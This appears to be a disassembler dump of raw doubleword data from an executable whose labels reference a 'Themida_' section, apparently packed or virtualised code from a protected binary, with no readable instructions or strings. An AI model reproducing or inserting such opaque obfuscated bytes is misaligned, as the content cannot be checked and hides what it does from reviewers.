		dd 9D890637h, 63722D1h,	0B15B8589h, 6A063Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E8472EC3h
		dd 0Dh,	26DA98F5h, 542166FEh, 0ACF1CF55h, 18D29A7h, 5F06371Ah
		dd 1CEE9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1704h, 0C3504000h, 904B9B53h, 819BD8Bh, 0BF0F0637h
		dd 0F19D8BFFh, 8B063707h, 3AB15385h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0CBD88493h
		dd 0C9D9AD8Ch, 6E83F96h, 47000000h, 0D36481A0h,	59EF817Fh
		dd 5F6CA714h, 0DE9h, 0D978B00h,	0CB020B44h, 7FBFCCEh, 0C75DF5h
		dd 18h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 66C35141h, 8ACE7103h, 0EB80DE8Bh, 57B58BEBh,	8B063AB1h
		dd 8D858BDFh, 8B06370Dh, 6A0689FAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 6D87C353h
		dd 6EC09D9h, 8C0F251Ch,	6, 995BD8Bh, 0BD8B0637h, 6371A6Dh
		dd 2F45858Bh, 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 2AF900C3h, 4468921h, 0CBBF0F60h
		dd 58E0Fh, 81660000h, 6150D4E2h, 0BF666050h, 8961193Fh
		dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 27CA05C3h, 0D753BB3Fh, 9D8B9F2Ah,	6371F69h
		dd 0B153B5FFh, 0BD8B063Ah, 63720B5h, 4E8h, 1F03FF00h, 5019B300h
		dd 78F2BB66h, 424448Bh,	8B5F57h, 14E8h,	0F3F39D00h, 0EE8C7609h
		dd 0AC2F6C0Ah, 1E21D045h, 0BE86A016h, 0B52BBBEFh, 895B3E1Dh
		dd 8B042444h, 0CF8158D9h, 298F3B2Fh, 0B15B858Dh, 0F88B063Ah
		dd 24048950h, 2595FFFCh, 0E906372Bh, 0Bh, 777D2FC3h, 0B32EADCBh
		dd 6166D37Dh, 0AE99589h, 85C70637h, 6370F81h, 3, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0BAC35747h, 0E9AE9F31h
		dd 6, 83D7E214h, 95894F21h, 63721DDh, 0B15BBD83h, 0F00063Ah
		dd 4184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 8F8D6116h, 0A00D3B00h, 2960F1D7h
		dd 372ED59Dh, 61FBB706h, 28E9h,	68B0F00h, 8B000000h, 37301DBDh
		dd 3050F806h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 709718CAh, 1624960Ch, 6AFC8A1Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0DD7EC350h, 0C5293515h, 33086C3Dh, 0BE24BF66h
		dd 0F81BD83h, 0F030637h, 39085h, 0CB816600h, 0BD834AF3h
		dd 63AB15Bh, 7E840F00h,	6A000003h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 5C02C352h
		dd 21BF0FA9h, 0F516073h, 6058D3BFh, 8166DE8Bh, 611055F2h
		dd 0BD950961h, 0FF063708h, 3AB15BB5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 54D1D316h, 0DE8h, 0C346C400h, 0D326B9DFh, 0E7D689A1h
		dd 9D892231h, 63719A5h,	6DB5295Fh, 0FF06371Ah, 37335D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 6E562FB6h, 0E7C2303Eh, 9D8B31FDh, 63720C1h
		dd 0B14FB58Bh, 8E9063Ah, 1E000000h, 17B1C380h, 0C7A4A792h
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BB66B2F2h, 6650C143h, 3489F88Bh
		dd 0B5FFF524h, 63AB15Bh, 0A890Fh, 5E90000h, 0AE000000h
		dd 0C568D17Fh, 183D95FFh, 81660637h, 8B106EEFh,	3AB14FB5h
		dd 0B5858B06h, 81063705h, 0F204B4D3h, 8166500Ah, 5FAA11C7h
		dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0C4E16DC3h, 7E474F19h, 0FD9D8BC7h
		dd 8B063721h, 37187595h, 399D8B06h, 8306371Bh, 0BF0F04C2h
		dd 205089DAh, 0FFD426BFh, 0D5858D79h, 6A063AC5h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0C931C351h, 7D8531BEh, 89063706h, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0C7BB1366h, 8F0FC8h,	6A000000h, 0C8A0F00h, 0F000000h
		dd 68Dh, 49B50900h, 0FF06372Bh,	3AB15BB5h, 0DABF0F06h
		dd 0BB995FFh, 0F960637h, 108Dh,	0BE900h, 0E9410000h, 2512D2D3h
		dd 3A380BEAh, 0FA8B5004h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8B66B01Eh
		dd 5BB5FFDEh, 89063AB1h, 371AC1B5h, 4D95FF06h, 8B06372Eh
		dd 37133DBDh, 0E9BD8306h, 63719h, 26840Fh, 0BE80000h, 0
		dd 725CFDE8h, 0D6F8C4BAh, 0F381B2C0h, 38BEC4E1h, 9650965Bh
		dd 0FFEBF0Fh, 382h, 0B3E78000h,	0B15BB5FFh, 6A063Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 7E32E9C3h, 0BD892B04h, 6370A11h, 9AD95FFh, 6A0637h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F8D58C3h, 686h, 0C59D8B00h,	2B063708h, 3723819Dh, 5BB5FF06h
		dd 0FF063AB1h, 370B7595h, 9BD8306h, 2063704h, 5F840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0B46A6DC3h, 31BFCB23h, 661AAD6Dh,	0F1557BFh
		dd 858BF9B7h, 6371171h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 77C35141h, 6BEF8166h,	0A5EB80BDh, 8B0000C6h
		dd 372375BDh, 0D585C706h, 63731h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 38EAC352h, 0B51D7843h, 89DF2BF3h, 371039B5h,	0F393E906h
		dd 0BD8BFFFFh, 6372335h, 6AC18Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 95296EC3h, 6371169h
		dd 885858Dh, 6A0637h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0BB43E3C3h, 3A61C337h, 22E9BD23h
		dd 0BB660637h, 0F50BCB6h, 582h,	886ABF00h, 48902BCh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 78D84B63h, 68B0Fh, 95890000h, 6370551h, 0FE8B006Ah
		dd 8589006Ah, 6372A81h,	1F14858Dh, 6A063Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A3BF81C3h
		dd 51DC005Ah, 891B4D5Dh, 3722558Dh, 5C08306h, 6840Fh, 9D8B0000h
		dd 63728D9h, 50525050h,	0F616052h, 5AF98B31h, 50310F58h
		dd 0F3BB6652h, 0F310F5Fh, 8Fh, 5A585A00h, 24048958h, 6880Fh
		dd 9D8B0000h, 6371A61h,	12E9006Ah, 0F000000h, 211EB213h
		dd 70E46E1Ch, 0A32E1D13h, 766037BBh, 29006AA5h,	372E6D8Dh
		dd 7DBD0B06h, 0FF06372Fh, 370AED95h, 6E806h, 8D5D0000h
		dd 0B2BF0AB3h, 115DBD8Bh, 8D5B0637h, 3AA1358Dh,	5D950106h
		dd 0FF063708h, 50006AD1h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 567EF4AEh, 0A55A762Fh
		dd 8166C954h, 29D7E5EFh, 372B4985h, 518D8906h, 83063720h
		dd 37089DBDh, 850F0106h, 7Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0A6C35343h,	0BE9026Ah, 54000000h
		dd 0F1437F90h, 0F29A7DF8h, 0DE84207h, 0F0000000h, 705BA9h
		dd 89F7B12h, 6C99314Ch,	225D9D8Bh, 905B0637h, 9536A6BBh
		dd 5060502Ch, 505A5E52h, 5A310F52h, 0F906158h, 681h, 71D38100h
		dd 0FF2BB5FBh, 370BB995h, 0B8666006h, 8D295297h, 6370F19h
		dd 0BD9D8961h, 0E9063725h, 0DB1h, 0E8h,	0ED815D00h, 63C1F1Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0FAC35040h
		dd 0E96B26C1h, 8B66F855h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0F08174F8h
		dd 37E72F8h, 3717C5BDh,	0C3858D06h, 6A063A84h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B66C350h, 28C0FF9h,	8A000000h, 525050FAh, 0CE9h, 0DC99C100h
		dd 461A3EF8h, 0AF032449h, 66310FEAh, 5AA870BBh,	24048958h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 49C35343h
		dd 0F8B9399Bh, 35FF64h,	89000000h, 372F7985h, 25896406h
		dd 0
		dd 2A7D85FFh, 0C7810637h, 4CCFF2CDh, 6AFF6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B8FF4C3h
		dd 3729B59Dh, 3AE38106h, 0FF1CFEEDh, 371F2DB5h,	95FFFC06h
		dd 63700EDh, 10CE9h, 0EE900h, 3DD90000h, 38B3FB58h, 60328312h
		dd 30AAB95Bh, 5E900B0h,	74000000h, 0B4854999h, 9CBF70E6h
		dd 0E4242132h, 0E5958971h, 3C06370Eh, 0D6830F61h, 8B000000h
		dd 3724F1BDh, 558D8906h, 0F063705h, 9D8BC8B6h, 637285Dh
		dd 6BAh, 0D840F00h, 60000000h, 55E98166h, 59BD8BF1h, 61063730h
		dd 0CF81C18Bh, 3407D917h, 8904E8C1h, 372E759Dh,	0F766FC06h
		dd 43F781E2h, 2B7BDE72h, 9D8BF8C8h, 6372BC5h, 9D8BD18Bh
		dd 6372541h, 78E9h, 4C858B00h, 60494755h, 8B5F5060h, 3711EDBDh
		dd 81666106h, 61CFFCE2h, 307C083h, 3707F9BDh, 0C08306h
		dd 0D37FD5BFh, 0FD03B18h, 0F83h, 0E2C38100h, 0E92286B5h
		dd 3Dh,	2F57BB66h, 0FFFF8D8Bh, 9D8BFFFFh, 6371B85h, 0F01E183h
		dd 2484h, 0DA8BF800h, 0FFFFA583h, 89FEFFFFh, 3725958Dh
		dd 4C958906h, 0F494755h, 38Eh, 0DA8B6600h, 0E9h, 0B6B58D00h
		dd 6A063B9Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0D9E7C352h, 1C617763h,	119529AEh
		dd 0BB06372Fh, 26A09BAFh, 8166006Ah, 0FFDDC5C7h, 37321995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 66B9DA4Dh, 8B66DF8Bh, 0FC6B9D8h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0B63307C3h, 54412BADh, 0FCE183B5h, 22B59D89h, 9D8B0637h
		dd 6372619h, 6AC02BFCh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0CF17C357h,	6051F823h
		dd 1E3D958Bh, 0FE90637h, 0FC000000h, 0ED296DD7h, 3DBD6AECh
		dd 917793D4h, 5F61B70Fh, 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0B0FD34C3h, 76A83BBDh
		dd 0C585891Dh, 0AD06370Ah, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A35C353h, 6A799C01h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F82BC357h
		dd 1644C267h, 8910007Eh, 3708BD8Dh, 880D06h, 14E80000h
		dd 4D000000h, 96DF3A75h, 1D1BCB85h, 0DD9BADA6h,	8C7BA9D0h
		dd 0BB2A467Dh, 3E0E20A4h, 75958B5Bh, 6A063718h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 480FC353h, 98A22C77h, 8B84ED31h, 3711958Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BD378EDCh, 0FB3B6628h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F726AC3h, 8589DFBFh, 637176Dh
		dd 0DE9h, 7135ED00h, 0CD916568h, 0B3F9EB58h, 0BD831E36h
		dd 6372D55h, 5B840F00h,	8B000000h, 370799BDh, 0B806h, 850F0000h
		dd 4, 0E25EBF66h, 4E2B8D8Dh, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 660567C3h
		dd 60AAD0BFh, 110D8D89h, 8D290637h, 63705E9h, 5E961h, 0E4580000h
		dd 0FFFDBDAAh, 0EC62BBE1h, 0BD8371D4h, 6370F81h, 8840F00h
		dd 0E8000004h, 11h, 0EC8DECFEh,	1415520Ah, 0D4A99346h
		dd 45D30AEFh, 0BD835F5Dh, 6370F81h, 0FF840F01h,	0F000003h
		dd 0C8Eh, 6830F00h, 0B000000h, 372F499Dh, 81BD8306h, 306370Fh
		dd 3AA860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C53559C3h, 60F88BB1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 64C35141h, 2AA18BBh
		dd 0D98C665Fh, 68F0Fh, 0BD890000h, 63700A1h, 0F04E180h
		dd 68Fh, 0D59D8900h, 31063732h,	37191D85h, 0FC90A06h, 12E84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B772834h, 372E19BDh, 38D78106h,	8B3787B5h
		dd 372F4585h, 33F98B06h, 37130185h, 55BD8B06h, 0F063718h
		dd 988h, 61606000h, 0D5AE2DB9h,	66506121h, 489FE8Bh, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8B66BF7Ch, 6AFD8ADFh, 1890F00h, 0FC000000h, 4E8h, 1F03FF00h
		dd 0FA8B6600h, 0E9525050h, 0Dh,	7F77414Ch, 2C482E60h, 8E8DA67Dh
		dd 0E9310FF6h, 10h, 2BDC7256h, 33F96B16h, 26635260h, 1E45FAD5h
		dd 448B585Ah, 0BF660424h, 8BDB31h, 4489DA8Bh, 0FA8B0424h
		dd 95FFF858h, 6372B25h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0B7C35343h, 0DF81DA8Ah, 6E67579Bh, 0B15B8589h
		dd 0BD8B063Ah, 637047Dh, 6C4ABB66h, 1BEE9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0CD8589D7h, 8B06370Bh, 3AB15385h, 0C7F506h, 18h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AFC35545h, 9A4A1CDDh
		dd 8BEDE780h, 3AB157B5h, 3810F06h, 0F000000h, 0F781F9B7h
		dd 120BFF01h, 0D8D858Bh, 0F98B0637h, 6A0689h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 66848FC3h
		dd 8BD9E1BFh, 372F4585h, 0EE806h, 85E40000h, 2D40B921h
		dd 7BFDC153h, 0B12F0h, 185D9D8Bh, 895F0637h, 8E0F0446h
		dd 8, 0DBD0960h, 6106372Fh, 66525796h, 5B5BF98Bh, 45BF6650h
		dd 6A961Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0FB4168C3h, 53B5FFEAh, 6A063AB1h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 6DADC356h, 816ED237h, 7A28D9D3h, 60216811h, 27BB0C4Fh
		dd 8149CF8Fh, 63DE2434h, 6A0C50h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 543D3DC3h, 606B2F41h
		dd 1C91BD23h, 858D0637h, 63AB15Bh, 0B2FCA0BFh, 0FE9907Ch
		dd 0EA000000h, 33E9615Ah, 0B62A7C50h, 0AC77C816h, 605051EDh
		dd 0E1B6BE66h, 2736D0BBh, 0E9906139h, 0Dh, 0A52FDB7Fh
		dd 88912617h, 0F7434571h, 2595FF8Eh, 6A06372Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0D263C352h, 0CD8D8902h, 6106370Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 34C35141h, 85C7F88Bh, 6370F81h
		dd 3, 15860Fh, 10E90000h, 66000000h, 0E0EE02D4h, 0DE0F4216h
		dd 6EFF2EA1h, 6651BCC5h, 83279DBFh, 3AB15BBDh, 840F0006h
		dd 1Ch,	0DFD8B6BBh, 2DE974h, 0F3810000h, 3CFD35E7h, 6890Fh
		dd 0BD890000h, 6370B31h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0E337C350h, 0AFCC146Bh, 0F918F77Dh, 8E9h
		dd 0FB4F9D00h, 0B3802EE8h, 52006AAFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0C7D8D066h
		dd 9D8B0F5Fh, 63713D9h,	0F81BD83h, 0F030637h, 42185h, 0F3816600h
		dd 0BD838A39h, 63AB15Bh, 0F840F00h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0BFA3C356h, 4128DC20h, 0FFD98B66h, 3AB15BB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 25170AFBh, 0D2A2D781h, 0FFF913BDh, 37335D95h, 0BE906h
		dd 0E4870000h, 37CB913Bh, 0D0A59EF0h, 8D3152C1h, 637050Dh
		dd 4FB58B5Fh, 66063AB1h, 0C73A3ABFh, 1000106h, 11858900h
		dd 0E8063710h, 6, 0C9A501E5h, 0D98B60AAh, 0CE9965Bh, 0A000000h
		dd 0C281D6CBh, 9A58A64Eh, 504CECCFh, 6A96D98Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B652C356h, 34B2C1CEh, 0B5FF4FB8h, 63AB15Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C35141h, 0DE8A9688h
		dd 183D95FFh, 0FE90637h, 8A000000h, 8C6AAFFh, 6B1D7E5Dh
		dd 25D9D1FEh, 0B58BA46Fh, 63AB14Fh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 23C35141h, 0DD6DA388h, 4C964442h
		dd 0CD9D09E7h, 6606371Ch, 858BD98Bh, 63705B5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6EC35747h, 93122829h
		dd 892871F5h, 0C486h, 0A2E78000h, 75958BF9h, 60063718h
		dd 115DBD89h, 81660637h, 6155E6EFh, 6A04C283h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 21EAC353h, 0DF8031B0h, 37DF81D1h, 896B6885h,	858D2050h
		dd 63AC5D5h, 0B88689h, 8B660000h, 6A006AFBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F690C356h, 0B5D754DBh, 7E334F45h, 0B15BB5FFh, 6A063Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8172ECC3h, 0FE78D6D3h, 0DF816621h, 95FFBB7Ah, 6370BB9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DAC35646h
		dd 6A72ACA6h, 0C7E9BF66h, 22C19D8Bh, 0BD8B0637h, 63721B1h
		dd 0BCB35050h, 2434895Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 8FC35242h, 0F59D8B26h, 0FF063700h, 3AB15BB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 6F91572Eh, 0FEDA4090h, 2E4D95FFh, 0B5890637h
		dd 6371C51h, 19E9BD83h,	0F000637h, 6984h, 75BD8900h, 6606371Dh
		dd 8494DB81h, 0BE950h, 0D4DA0000h, 98AC3406h, 0E40B160Bh
		dd 2434897Fh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	0F5C35141h, 0BA4D2208h,	25B2D835h, 6800F60h, 31000000h
		dd 3722F195h, 0FE806h, 92430000h, 49D4035Bh, 608FED0Ah
		dd 0FDAF4CDEh, 0CBBF0F09h, 0B5FF615Bh, 63AB15Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E1C35242h, 8D296098h
		dd 637201Dh, 0CB9BD29h,	31610637h, 371AD585h, 0AD95FF06h
		dd 6A063709h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 9FD8C357h, 4585898Fh, 0FF06370Bh
		dd 3AB15BB5h, 0E9958906h, 0FF063721h, 370B7595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 9BD83F3h, 2063704h, 3E840Fh,	8F0F0000h, 5, 0E3DF8166h
		dd 71858BF3h, 89063711h, 371FCD95h, 0C606h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 19C35141h, 0BD8B5F39h
		dd 63732C1h, 31D585C7h,	637h, 0F88B0000h, 56D9D89h, 59E90637h
		dd 6AFFFFF3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 723DC351h, 8BC18BFCh, 372B2D9Dh
		dd 978D8D06h, 6A063C2Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0E412C351h,	0B40A86E4h
		dd 392B866h, 89C3BF0Fh,	3718758Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0D18AD2B9h
		dd 119585C7h, 63280637h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD892BC3h, 637263Dh
		dd 0F8185C7h, 637h, 0FFF90000h,	37139DB5h, 9195FF06h, 6A063712h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0C47CC351h, 94CFB24Ah, 88B0FC2h, 52000000h
		dd 1305B589h, 6A5F0637h, 1995FF00h, 8B063732h, 0D0FEBC0h
		dd 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 8D8D663Bh, 63C2E2Dh
		dd 295D8531h, 8D890637h, 6371875h, 4092BBFh, 9585C738h
		dd 4063711h, 89000064h,	3716F9BDh, 8185C706h, 6370Fh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 91C2C353h, 0C563C7ACh, 8A46D29Fh,	0FFF38BC1h
		dd 371C39B5h, 0A1958B06h, 0F06370Bh, 481h, 79BB6600h, 9195FFCBh
		dd 23063712h, 371AF985h, 0FF006A06h, 37321995h,	0EBC08B06h
		dd 10A1E87Fh, 76D73FB3h, 0FBFD4112h, 0C37D23A6h, 0BD80585Ch
		dd 92E1F3CBh, 25326681h, 1EE1C7CAh, 78D38F56h, 4AADEF0Dh
		dd 0CE00DC01h, 79AF682Bh, 0CA00F8BEh, 25FA454h,	0FEFC23D7h
		dd 13D3D87Ch, 0DC483E36h, 0D76E6199h, 9337349Fh, 742A2AC8h
		dd 3FB88CBh, 33920B34h,	52885CD3h, 889C7A1Bh, 8F533312h
		dd 0ABC88F6h, 5F85E282h, 2A268E3Dh, 2C94C1D8h, 70CF6E29h
		dd 53EC24D4h, 0C207E36h, 2F2F8D8Dh, 0E480063Ch,	758D8957h
		dd 89063718h, 37111195h, 9585C706h, 6C063711h, 50000074h
		dd 0CCD8D89h, 0C75B0637h, 370F8185h, 6,	3D9D8900h, 0FF063709h
		dd 372DE1B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 51A88CF8h, 8BEB8191h, 3731F1BDh
		dd 9195FF06h, 89063712h, 372D7D85h, 359D8906h, 6A063726h
		dd 1995FF00h
		db 32h,	37h
word_58FB7E	dw 8B06h		; DATA XREF: Themida_:0053D91Co
		dd 0BE09EBC0h, 5EE79D8Bh, 0EF6E09FBh, 0D4712ADEh, 0DC4B46D4h
		dd 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h
		dd 0AF048AEFh, 0B44E6033h, 67A5E4FFh, 0AF050AF8h, 92A3BEA0h
		dd 67200921h, 7DA3BA79h, 1B2004FDh, 0AF2DA6D7h,	1D293333h
		dd 98263383h, 0B76BB6C0h, 1576359Ah, 0A4090CD6h, 0DD963AFh
		dd 9E111A31h, 98266483h, 15235935h, 0A4097C1Fh,	1DAB634Bh
		dd 9E1A1C99h, 35B3CC03h, 93200484h, 0A1A23C14h,	1526336Ah
		dd 0A4097CB0h, 0AACE639Ch, 0D826334Dh, 0CDA3BEF6h, 0C8200F7Ch
		dd 0B769B624h, 677635E8h, 0AF219AFFh, 94E2B033h, 0B769B617h
		dd 15763571h, 0A4090C23h, 0DD96355h, 9E111A4Ch,	9826513Dh
		dd 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h
		dd 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h,	0AB263335h
		dd 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h
		dd 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h,	0DF7EFB4Eh
		dd 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh,	152637A8h
		dd 0A4090E88h, 0EAABBE9Ch, 20200F7Dh, 93h, 71E7FC78h
		db 2
byte_58FCC1	db 31h,	7, 0D0h		; DATA XREF: Themida_:0053CDE4o
		dd 4C783C8h, 0F2850F49h, 8DFFFFFFh, 3C3072B5h, 918D8D06h
		dd 2B063C30h, 5E983CFh,	86C3C88Bh, 0EF39C444h, 0CCE89644h
		dd 652E551Eh, 6D3EB210h, 0F019B200h, 0AE8E9644h, 0E16B5516h
		dd 279880BFh, 4E9E205h,	0ECE8964Eh, 0D16DA476h,	20FBF65Ch
		dd 5994EE8Eh, 0EAB997D1h, 0E3871D1Dh, 0ECA39FC4h, 0EF539944h
		dd 0E3E89644h, 51F74FF3h, 0EA0D8F6Dh, 6F14E344h, 0DB9177F9h
		dd 0F5339642h, 2C28C514h, 0ECD595FCh, 0AD6D1F44h, 6172A15Fh
		dd 0D58B9AD9h, 0B7CE6942h, 0D33151Ch, 0EC41A15Bh, 0BFF38130h
		dd 0ECD595FCh, 0AD6D1F44h, 6172A15Fh, 0D5976DD9h, 0B7CE6942h
		dd 45031D1Ch, 8641A16Fh, 0EF4BC544h, 0CCD19644h, 65B3551Fh
		dd 6D70B218h, 0F93EB200h, 0AF1D9644h, 9B395517h, 6D215CCEh
		dd 676D378Eh, 0BBD1FC84h, 0ECE895ACh, 2F2BB644h, 0C8461F1Bh
		dd 0C8591740h, 0EC8E8D40h, 2F10D144h, 27620F38h, 0C1FEE5C3h
		dd 0E312294Bh, 0EC7490C8h, 7DA79544h, 8A1BA15Eh, 44764EC8h
